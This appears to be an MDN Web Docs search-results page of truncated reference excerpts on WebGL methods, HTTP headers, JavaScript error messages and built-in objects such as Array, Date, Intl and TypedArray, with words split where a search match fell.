var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); getting current bindings to check the current buffer bindings, query the array_buffer_binding and element_array_buffer_binding constants. gl.getparameter(gl.array_buffer_binding); gl.getparameter(gl.element_array_buffer_binding); specifications specification status co
mment webgl 1.0the definition of 'bindbuffer' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glbindbuffer' in that specification. standard man page of the (similar) opengl es 2 api. webgl 2.0the definition of 'bindbuffer' in that specification. editor's draft updated definition for webgl 2. ad...
WebGLRenderingContext.bindFramebuffer() - Web APIs
frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, framebuffer); getting current bindings to check the current frame buffer binding, query the framebuffer_binding constant. gl.getparameter(gl.framebuffer_binding); specifications specification status co
mment webgl 1.0the definition of 'bindframebuffer' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glbindframebuffer' in that specification. standard man page of the opengl api. webgl 2.0the definition of 'bindframebuffer' in that specification. editor's draft updated definition for webgl 2. adds: gl...
WebGLRenderingContext.bindTexture() - Web APIs
e var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); getting current bindings to check the current texture binding, query the gl.texture_binding_2d or gl.texture_binding_cube_map constants. gl.getparameter(gl.texture_binding_2d); specifications specification status co
mment webgl 1.0the definition of 'bindtexture' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glbindtexture' in that specification. standard man page of the (similar) opengl es 2.0 api. webgl 2.0the definition of 'bindtexture' in that specification. editor's draft updated definition for webgl 2. add...
WebGLRenderingContext.blendColor() - Web APIs
the range of 0 to 1. alpha a glclampf for the alpha component (transparency) in the range of 0 to 1. return value none. examples to set the blend color, use: gl.blendcolor(0, 0.5, 1, 1); to get the blend color, query the blend_color constant which returns a float32array. gl.getparameter(gl.blend_color); // float32array[0, 0.5, 1, 1] specifications specification status co
mment webgl 1.0the definition of 'blendcolor' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glblendcolor' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.blendEquation() - Web APIs
the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext. gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status co
mment webgl 1.0the definition of 'blendequation' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glblendequation' in that specification. standard man page of the opengl es 2.0 api. opengl es 3.0the definition of 'glblendequation' in that specification. standard man page of the opengl es 3.0 api. ...
WebGLRenderingContext.blendEquationSeparate() - Web APIs
the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext. gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status co
mment webgl 1.0the definition of 'blendequationseparate' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glblendequationseparate' in that specification. standard man page of the opengl es 2.0 api. opengl es 3.0the definition of 'glblendequationseparate' in that specification. standard man page of the ope...
WebGLRenderingContext.blendFunc() - Web APIs
nd); gl.blendfunc(gl.src_color, gl.dst_color); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants which return one of the blend function constants. gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status co
mment webgl 1.0the definition of 'blendfunc' in that specification. reco
mmendation initial definition. in webgl, constant color and constant alpha cannot be used together as source and destination factors in the blend function. see section 6.13. of the specification. opengl es 2.0the definition of 'glblendfunc' in that specification. standard man page of the opengl ...
WebGLRenderingContext.blendFuncSeparate() - Web APIs
or, gl.one, gl.zero); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants which return one of the blend function constants. gl.enable(gl.blend); gl.blendfuncseparate(gl.src_color, gl.dst_color, gl.one, gl.zero); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status co
mment webgl 1.0the definition of 'blendfunc' in that specification. reco
mmendation initial definition. in webgl, constant color and constant alpha cannot be used together as source and destination factors in the blend function. see section 6.13. of the specification. opengl es 2.0the definition of 'glblendfunc' in that specification. standard man page of the opengl ...
WebGLRenderingContext.bufferSubData() - Web APIs
is thrown if target is not one of the allowed enums. examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status co
mment webgl 1.0the definition of 'buffersubdata' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glbuffersubdata' in that specification. standard man page of the opengl es 2 api. opengl es 3.0the definition of 'glbuffersubdata' in that specification. standard man page of the (similar) opengl es 3 api. ...
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
for all framebuffer attachment points where the value of framebuffer_attachment_object_type is not none, the framebuffer is considered incomplete. examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); // ... gl.checkframebufferstatus(gl.framebuffer); specifications specification status co
mment webgl 1.0the definition of 'checkframebufferstatus' in that specification. reco
mmendation initial definition for webgl. opengl es 2.0the definition of 'glcheckframebufferstatus' in that specification. standard man page of the opengl api. webgl 2.0the definition of 'checkframebufferstatus' in that specification. editor's draft updated definition for ...
If-Range - HTTP
tp request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server sends back a 206 partial content answer with the appropriate body. if the condition is not fulfilled, the full resource is sent back, with a 200 ok status. this header can be used either with a last-modified validator, or with an etag, but not with both. the most co
mmon use case is to resume a download, to guarantee that the stored resource has not been modified since the last fragment has been received. header type request header forbidden header name no syntax if-range: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt if-range: <etag> directives <etag> an entity tag uniquely representing the requested resour...
If-Unmodified-Since - HTTP
the if-unmodified-since request http header makes the request conditional: the server will send back the requested resource, or accept it in the case of a post or another non-safe method, only if it has not been last modified after the given date. if the resource has been modified after the given date, the response will be a 412 (precondition failed) error. there are two co
mmon use cases: in conjunction with non-safe methods, like post, it can be used to implement an optimistic concurrency control, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved. in conjunction with a range request with a if-range header, it can be used to ensure that the new fragment requested comes from an unmodified document. he...
Keep-Alive - HTTP
connection-specific header fields such as connection and keep-alive are prohibited in http/2. chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them. header type general header forbidden header name yes syntax keep-alive: parameters directives parameters a co
mma-separated list of parameters, each consisting of an identifier and a value separated by the equal sign ('='). the following identifiers are possible: timeout: indicating the minimum amount of time an idle connection has to be kept opened (in seconds). note that timeouts longer than the tcp timeout may be ignored if no keep-alive tcp message is set at the transport level. max: indicating th...
Large-Allocation - HTTP
. firefox cannot move an iframe into a new process currently, so the document must load in the current process. the document with the large-allocation header was loaded in a window which was opened by window.open(), <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set. these windows must remain in the same process as their opener, as they can co
mmunicate, meaning that we cannot allow them to switch processes. the document with the large-allocation header has opened another window with window.open(), <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set. this is for the same reason as above, namely that they can co
mmunicate and thus we cannot allow them to switch processes. a large-al...
Origin - HTTP
it is the http protocol or its secured version, https. <hostname> the domain name of the server (for virtual hosting) or the ip. <port> optional tcp port number on which the server is listening. if no port is given, the default port for the service requested (e.g., "80" for an http url) is implied. examples origin: https://developer.mozilla.org specifications specification co
mment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification. supplants the origin header as defined in rfc6454. ...
Proxy-Authenticate - HTTP
a resource behind a proxy server. it authenticates the request to the proxy server, allowing it to transmit the request further. the proxy-authenticate header is sent along with a 407 proxy authentication required. header type response header forbidden header name no syntax proxy-authenticate: <type> realm=<realm> directives <type> authentication type. a co
mmon type is "basic". iana maintains a list of authentication schemes. realm=<realm> a description of the protected area, the realm. if no realm is specified, clients often display a formatted host name instead. examples proxy-authenticate: basic proxy-authenticate: basic realm="access to the internal site" specifications specification title rfc 7235, section 4.3: proxy...
Proxy-Authorization - HTTP
ization request header contains the credentials to authenticate a user agent to a proxy server, usually after the server has responded with a 407 proxy authentication required status and the proxy-authenticate header. header type request header forbidden header name no syntax proxy-authorization: <type> <credentials> directives <type> authentication type. a co
mmon type is "basic". see also the iana registry of authentication schemes. <credentials> the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame). the resulting string is base64 encoded (ywxhzgrpbjpvcgvuc2vzyw1l). note: base64 encoding does not mean encryption or hashing! this method is equally secure as sending the creden...
Public-Key-Pins - HTTP
s optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" optional if this optional parameter is specified, pin validation failures are reported to the given url. example hpkp has the potential to lock out users for a long time if used incorrectly! the use of backup certificates and/or pinning the ca certificate is reco
mmended. public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; max-age=5184000; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production. the second pin declaration pin-sha256=...
Referrer-Policy - HTTP
specifying multiple values is only supported in the referrer-policy http header, and not in the referrerpolicy attribute. specifications specifica...
Save-Data - HTTP
the save-data header field is a boolean which, in requests, indicates the client's preference for reduced data usage. this could be for reasons such as high transfer costs, slow connection speeds, etc. a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when co
mmunicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on. note: disabling http/2 server push (rfc 7540, section 8.2: server push) might be desirable too for reducing data downloads. syntax save-data: <sd-token> directives <sd-token> a numerical value indicating whether the client wants to opt in to reduced data usage mode. ...
Server-Timing - HTTP
the server-timing header co
mmunicates one or more metrics and descriptions for a given request-response cycle. it is used to surface any backend server timing metrics (e.g. database read/write, cpu time, file system access, etc.) in the developer tools in the user's browser or in the performanceservertiming interface. header type response header forbidden header name no syntax the syntax of the server-timing header allows you to co
mmunicate metrics in different ways: server metric name only, metric with value, metric with value and description, and metric with description. the specification advices that names and descriptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead. // si...
Timing-Allow-Origin - HTTP
n restrictions. header type response header forbidden header name no syntax timing-allow-origin: * timing-allow-origin: <origin>[, <origin>]* directives * the server may specify "*" as a wildcard, thereby allowing any origin to see timing resources. <origin> specifies a uri that may see the timing resources. you can specify multiple origins, separated by co
mmas. examples to allow any resource to see timing resources: timing-allow-origin: * to allow https://developer.mozilla.org to see timing resources, you can specify: timing-allow-origin: https://developer.mozilla.org specifications specification status co
mment resource timing level 3the definition of 'timing-allow-origin' in that specification. editor's draft in...
Upgrade-Insecure-Requests - HTTP
isms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site. a vary header can be used so that the site isn't served by caches to clients that don’t support the upgrade mechanism. location: https://example.com/ vary: upgrade-insecure-requests specifications specification status co
mment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification. candidate reco
mmendation initial definition. ...
Upgrade - HTTP
ht do so if the protocol is changed. the client can then request a protocol change using the process above. more detail and examples are provided in the topic protocol upgrade mechanism. syntax connection: upgrade upgrade: protocol_name[/protocol_version] notes: the connection header with type upgrade must always be sent with the upgrade header (as shown above). protocols are listed, co
mma-separated, in order of descending preference. protocol version is optional. for example: connection: upgrade upgrade: a_protocol/1, example ,another_protocol/2.2 directives any co
mma-separated list protocol names (each with optional protocol version) one or more protocol names with optional version ("/" separated). the protocols are listed in order of descending preference. exa...
User-Agent - HTTP
and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. please read browser detection using the user agent for why serving different web pages or services to different browsers is usually a bad idea. header type request header forbidden header name no syntax user-agent: <product> / <product-version> <co
mment> co
mmon format for web browsers: user-agent: mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions> directives <product> a product identifier — its name or development codename. <product-version> version number of the product. <co
mment> zero or more co
mments containing more details; sub-product information, for example. firefox ua string for more on fir...
SyntaxError: missing ] after element list - JavaScript
the javascript exception "missing ] after element list" occurs when there is an error with the array initializer syntax somewhere. likely there is a closing bracket ("]") or a co
mma (",") missing. message syntaxerror: missing ] after element list error type syntaxerror. what went wrong? there is an error with the array initializer syntax somewhere. likely there is a closing bracket ("]") or a co
mma (",") missing. examples incomplete array initializer var list = [1, 2, var instruments = [ 'ukulele', 'guitar', 'piano' }; var data = [{foo: 'bar'} {bar: 'foo'}]; correct would be: var list = [1, 2]; var instruments = [ 'ukulele', 'guitar', 'piano' ]; var data = [{foo: 'bar'}, {bar: 'foo'}]; ...
SyntaxError: missing name after . operator - JavaScript
[bar] // syntaxerror: missing name after . operator obj.foo."bar"+i; // syntaxerror: missing name after . operator to fix this code, you need to access the object like this: obj.foo.bar; // "baz" // or alternatively obj["foo"]["bar"]; // "baz" // computed properties require square brackets obj.foo["bar" + i]; // "baz2" property access vs. concatenation if you are coming from another progra
mming language (like php), it is also easy to mix up the dot operator (.) and the concatenation operator (+). console.log("hello" . "world"); // syntaxerror: missing name after . operator instead you need to use a plus sign for concatenation: console.log("hello" + "world"); ...
TypeError: "x" is not a constructor - JavaScript
you want this type of object to be called car, and you want it to have properties for make, model, and year. to do this, you would write the following function: function car(make, model, year) { this.make = make; this.model = model; this.year = year; } now you can create an object called mycar as follows: var mycar = new car('eagle', 'talon tsi', 1993); in promises when returning an i
mmediately-resolved or i
mmediately-rejected promise, you do not need to create a new promise(...) and act on it. this is not legal (the promise constructor is not being called correctly) and will throw a typeerror: this is not a constructor exception: return new promise.resolve(true); instead, use the promise.resolve() or promise.reject() static methods: // this is legal, but unnecessarily long...
TypeError: "x" is read-only - JavaScript
gn to read only property '0' of [object array] (chrome) error type typeerror what went wrong? the global variable or object property that was assigned to is a read-only property. (technically, it is a non-writable data property.) this error happens only in strict mode code. in non-strict code, the assignment is silently ignored. examples invalid cases read-only properties are not super co
mmon, but they can be created using object.defineproperty() or object.freeze(). 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(this, 'lung_count', {value: 2, writable: false}); lung_count = 3; // typeerror 'use strict'; var frozenarray = object.freeze([0, 1, 2]); frozenarray[0]++; // typeerror there are also ...
TypeError: Reduce of empty array with no initial value - JavaScript
0 for the addition, 1 for a multiplication, or an empty string for a concatenation. var ints = [0, -1, -2, -3, -4, -5]; ints.filter(x => x > 0) // removes all elements .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addition another way would be two to handle the empty case, either before calling reduce, or in the callback after adding an unexpected du
mmy initial value. var names = document.getelementsbyclassname("names"); var name_list1 = ""; if (names1.length >= 1) name_list1 = array.prototype.reduce.call(names, (acc, name) => acc + ", " + name); // name_list1 == "" when names is empty. var name_list2 = array.prototype.reduce.call(names, (acc, name) => { if (acc == "") // initial value return name; return acc + ", " + name; }, "");...
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
edge) typeerror: right-hand side of 'in' should be an object, got 'x' (firefox) typeerror: cannot use 'in' operator to search for 'x' in 'y' (firefox, chrome) error type typeerror what went wrong? the in operator can only be used to check if a property is in an object. you can't search in strings, or in numbers, or other primitive types. examples searching in strings unlike in other progra
mming languages (e.g. python), you can't search in strings using the in operator. "hello" in "hello world"; // typeerror: cannot use 'in' operator to search for 'hello' in 'hello world' instead you will need to use string.prototype.indexof(), for example. "hello world".indexof("hello") !== -1; // true the operand can't be null or undefined make sure the object you are inspecting isn't actually ...
Array.prototype.every() - JavaScript
thisarg optional a value to use as this when executing callback. return value true if the callback function returns a truthy value for every array element. otherwise, false. description the every method executes the provided callback function once for each element present in the array until it finds the one where callback returns a falsy value. if such an element is found, the every method i
mmediately returns false. otherwise, if callback returns a truthy value for all elements, every returns true. caution: calling this method on an empty array will return true for any condition! callback is invoked only for array indexes which have assigned values. it is not invoked for indexes which have been deleted, or which have never been assigned values. callback is invoked with three argum...
Array.prototype.find() - JavaScript
y optional the array that find was called on. thisarg optional object to use as this inside callback. return value the value of the first element in the array that satisfies the provided testing function. otherwise, undefined is returned. description the find method executes the callback function once for each index of the array until the callback returns a truthy value. if so, find i
mmediately returns the value of that element. otherwise, find returns undefined. callback is invoked for every index of the array, not just those with assigned values. this means it may be less efficient for sparse arrays, compared to methods that only visit assigned values. if a thisarg parameter is provided to find, it will be used as the this value inside each invocation of the callback. if it ...
Array.prototype.findIndex() - JavaScript
was called upon. thisarg optional optional object to use as this when executing callback. return value the index of the first element in the array that passes the test. otherwise, -1. description the findindex() method executes the callback function once for every index in the array until it finds the one where callback returns a truthy value. if such an element is found, findindex() i
mmediately returns the element's index. if callback never returns a truthy value (or the array's length is 0), findindex() returns -1. edge case alert: unlike other array methods such as array.some(), callback is run even for indexes with unassigned values. callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thi...
Array.prototype.forEach() - JavaScript
converting a for loop to foreach const items = ['item1', 'item2', 'item3'] const copyitems = [] // before for (let i = 0; i < items.length; i++) { copyitems.push(items[i]) } // after items.foreach(function(item){ copyitems.push(item) }) printing the contents of an array note: in order to display the ...
Array.from() - JavaScript
clojure, php etc) const range = (start, stop, step) => array.from({ length: (stop - start) / step + 1}, (_, i) => start + (i * step)); // generate numbers range 0..4 range(0, 4, 1); // [0, 1, 2, 3, 4] // generate numbers range 1..10 with step of 2 range(1, 10, 2); // [1, 3, 5, 7, 9] // generate the alphabet using array.from making use of it being ordered as a s...
Array.prototype.map() - JavaScript
e queryselectorall returns a nodelist (which is a collection of objects). in this case, we return all the selected options' values on the screen: let elems = document.queryselectorall('select option:checked') let values = array.prototype.map.call(elems, function(obj) { return obj.value }) an easier way would be the array.from() method. tricky use case (inspired by this blog post) it is co
mmon to use the callback with one argument (the element being traversed). certain functions are also co
mmonly used with one argument, even though they take additional optional arguments. these habits may lead to confusing behaviors. consider: ["1", "2", "3"].map(parseint) while one might expect [1, 2, 3], the actual result is [1, nan, nan]. parseint is often used with one argument, but takes two...
Array.prototype.some() - JavaScript
ng callback. return value true if the callback function returns a truthy value for at least one element in the array. otherwise, false. description the some() method executes the callback function once for each element present in the array until it finds the one where callback returns a truthy value (a value that becomes true when converted to a boolean). if such an element is found, some() i
mmediately returns true. otherwise, some() returns false. callback is invoked only for indexes of the array with assigned values. it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg parameter is provided to some...
Array.prototype.sort() - JavaScript
1,200,40,5,700,80,9 sorted with comparenumbers: 1,5,9,40,80,200,700 sorting non-ascii characters for sorting strings with non-ascii characters, i.e. strings with accented characters (e, é, è, a, ä, etc.), strings from languages other than english, use string.localecompare. this function can compare those characters so they appear in the right order. var items = ['réservé', 'premier', 'co
mmuniqué', 'café', 'adieu', 'éclair']; items.sort(function (a, b) { return a.localecompare(b); }); // items is ['adieu', 'café', 'co
mmuniqué', 'éclair', 'premier', 'réservé'] sorting with map the comparefunction can be invoked multiple times per element within the array. depending on the comparefunction's nature, this may yield a high overhead. the more work a comparefunction does and ...
Array.prototype.toString() - JavaScript
the tostring() method returns a string representing the specified array and its elements. syntax arr.tostring() return value a string representing the elements of the array. description the array object overrides the tostring method of object. for array objects, the tostring method joins the array and returns one string containing each array element separated by co
mmas. javascript calls the tostring method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation. ecmascript 5 semantics starting in javascript 1.8.5 (firefox 4), and consistent with ecmascript 5th edition semantics, the tostring() method is generic and can be used with any object. object.prototype.tostring() will be called, and the resulting value wil...
AsyncFunction - JavaScript
t a global object. it can be obtained with the following code: object.getprototypeof(async function(){}).constructor syntax new asyncfunction([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a co
mma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. description async function objects created with the asyncfunction constructor are parsed when the function is created. this is less efficient than declaring an async function with an async function expression and calling it within your code, because such fun...
BigInt - JavaScript
nsitive representation of this number. overrides the object.prototype.tolocalestring() method. bigint.prototype.tostring() returns a string representing the specified object in the specified radix (base). overrides the object.prototype.tostring() method. bigint.prototype.valueof() returns the primitive value of the specified object. overrides the object.prototype.valueof() method. usage reco
mmendations coercion because coercing between number and bigint can lead to loss of precision, it is reco
mmended to only use bigint when values greater than 253 are reasonably expected and not to coerce between the two types. cryptography the operations supported on bigints are not constant time. bigint is therefore unsuitable for use in cryptography. use within json using json.stringify() wit...
Date.parse() - JavaScript
the date.parse() method parses a string representation of a date, and returns the number of milliseconds since january 1, 1970, 00:00:00 utc or nan if the string is unrecognized or, in some cases, contains illegal date values (e.g. 2015-02-31). it is not reco
mmended to use date.parse as until es5, parsing of strings was entirely implementation dependent. there are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be acco
mmodated). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax direct call...
Date.prototype.toISOString() - JavaScript
the timezone is always zero utc offset, as denoted by the suffix "z". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.toisostring() return value a string representing the given date in the iso 8601 format according to universal time. ...
Date.prototype.toString() - JavaScript
project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.tostring() return value a string representing the given date. description date instances inherit their tostring() method from date.prototype, not object.prototype. date.prototype.tostring() returns a string representation of the date in the format specified in ecma-262 which can be su
mmarised as: week day: 3 letter english week day name, e.g. "sat" space month name: 3 letter english month name, e.g. "sep" space date: 2 digit day in month, e.g. "01" space year: 4 digit year, e.g. "2018" space hour: 2 digit hour of day, e.g. "14" colon minute: 2 digit minute of hour, e.g. "53" colon second: 2 digit second of minute, e.g. "26" space the string "gmt" timezone offse...
Error.prototype.stack - JavaScript
formatting. however, safari 6+ and opera 12- use a very similar format. browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs). argument values in the stack: prior to firefox 14, the function name would be followed by the argument values converted to string in parentheses i
mmediately before the at (@) sign. while an object (or array, etc.) would appear in the converted form "[object object]", and as such could not be evaluated back into the actual objects, scalar values could be retrieved (though it may be — it is still possible in firefox 14 — easier to use arguments.callee.caller.arguments, as could the function name be retrieved by arguments.callee.caller.name)...
FinalizationRegistry - JavaScript
f the held value is an object, the registry keeps a strong reference to it (so it can pass it to your cleanup callback later). if you might want to unregister an object later, you pass a third value, which is the unregistration token you'll use later when calling the registry's unregister function to unregister the object. the registry only keeps a weak reference to the unregister token. it's co
mmon to use the object itself as the unregister token, which is just fine: registry.register(theobject, "some value", theobject); // ...some time later, if you don't care about `theobject` anymore... registry.unregister(theobject); it doesn't have to be the same object, though; it can be a different one: registry.register(theobject, "some value", tokenobject); // ...some time later, if you don't...
Function() constructor - JavaScript
the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new function([arg1 [, arg2 [, ...argn]] ,] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a co
mma. for example: "x", "thevalue"—or "x,thevalue". functionbody a string containing the javascript statements comprising the function definition. description function objects created with the function constructor are parsed when the function is created. this is less efficient than declaring a function with a function expression or function statement and calling it within your code because suc...
GeneratorFunction - JavaScript
object. it could be obtained by evaluating the following code. object.getprototypeof(function*(){}).constructor syntax new generatorfunction ([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a co
mma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. description generator function objects created with the generatorfunction constructor are parsed when the function is created. this is less efficient than declaring a generator function with a function* expression and calling it within your code, because suc...
Intl.DateTimeFormat() constructor - JavaScript
1) "2-digit" (e.g., 01) hour the representation of the hour. possible values are "numeric", "2-digit". minute the representation of the minute. possible values are "numeric", "2-digit". second the representation of the second. possible values are "numeric", "2-digit". timezonename the representation of the time zone name. possible values are: "long" (e.g., british su
mmer time) "short" (e.g., gmt+1) the default value for each date-time component property is undefined, but if all component properties are undefined, then year, month, and day are assumed to be "numeric". examples using datetimeformat in basic use without specifying a locale, datetimeformat uses the default locale and default options. var date = new date(date.utc(2012, 11, 20, 3,...
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
any value), the result will include only the relatedyear: let df = new intl.datetimeformat("zh-u-ca-chinese"); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] in cases where the year would be output, .format() may co
mmonly present these side-by-side: let df = new intl.datetimeformat("zh-u-ca-chinese", {year: "numeric"}); df.format(date.utc(2012, 11, 17, 3, 0, 42)); // return value 2012壬辰年 this also makes it possible to mix locale and calendar in both format: let df = new intl.datetimeformat("en-u-ca-chinese", {year: "numeric"}); let date = date.utc(2012, 11, 17, 3, 0, 42); df.format(date); // r...
Intl.DisplayNames.prototype.of() - JavaScript
e to provide depends on the type: if the type is "region", code should be either an iso-3166 two letters region code, or a three digits un m49 geographic regions. if the type is "script", code should be an iso-15924 four letters script code. if the type is "language", code should be a languagecode ["-" scriptcode] ["-" regioncode ] *("-" variant ) subsequence of the unicode_language_id gra
mmar in uts 35's unicode language and locale identifiers gra
mmar. languagecode is either a two letters iso 639-1 language code or a three letters iso 639-2 language code. if the type is "currency", code should be a 3-letter iso 4217 currency code. return value a language-specific formatted string. examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region...
String.prototype.normalize() - JavaScript
since the number of code points in each version is different, they even have different lengths. let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 the normalize() method helps solve this problem by converting a string into a normalized form co
mmon for all sequences of code points that represent the same characters. there are two main normalization forms, one based on canonical equivalence and the other based on compatibility. canonical equivalence normalization in unicode, two sequences of code points have canonical equivalence if they represent the same abstract characters, and should always have the same visual appearance and behavio...
String.prototype.toUpperCase() - JavaScript
ppercase() return value a new string representing the calling string converted to upper case. exceptions typeerror when called on null or undefined, for example, string.prototype.touppercase.call(undefined). description the touppercase() method returns the value of the string converted to uppercase. this method does not affect the value of the string itself since javascript strings are i
mmutable. examples basic usage console.log('alphabet'.touppercase()); // 'alphabet' conversion of non-string this values to strings this method will convert any non-string value to a string, when you set its this to a value that is not a string: const a = string.prototype.touppercase.call({ tostring: function tostring() { return 'abcdef'; } }); const b = string.prototype.touppercase.
TypedArray.prototype.every() - JavaScript
lback. return value true if the callback function returns a truthy value for every array element; otherwise, false. description the every method executes the provided callback function once for each element present in the typed array until it finds one where callback returns a falsy value (a value that becomes false when converted to a boolean). if such an element is found, the every method i
mmediately returns false. otherwise, if callback returned a true value for all elements, every will return true. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg parameter is provided to every, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be ...
TypedArray.prototype.find() - JavaScript
ray the array find was called upon. thisarg optional. object to use as this when executing callback. return value a value in the array if an element passes the test; otherwise, undefined. description the find method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, find i
mmediately returns the value of that element. otherwise, find returns undefined. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the typed array object being traversed. i...
TypedArray.prototype.findIndex() - JavaScript
array findindex was called upon. thisarg optional. object to use as this when executing callback. return value an index in the array if an element passes the test; otherwise, -1. description the findindex method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, findindex i
mmediately returns the index of that element. otherwise, findindex returns -1. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. callback is invoked with three arguments: the value of the element, the index of the element, and the typed array object being traversed. if ...
TypedArray.prototype.join() - JavaScript
epository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.join([separator = ',']); parameters separator optional. specifies a string to separate each element. the separator is converted to a string if necessary. if omitted, the typed array elements are separated with a co
mma (","). return value a string with all array elements joined. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join if (!uint8array.prototype.join) { object.defineproperty(uint8array.prototype, 'join', { value: array.prototype.join }); } if you need to...
TypedArray.prototype.some() - JavaScript
e was called upon. thisarg optional. value to use as this when executing callback. return value true if the callback function returns a truthy value for any array element; otherwise, false. description the some method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value. if such an element is found, some i
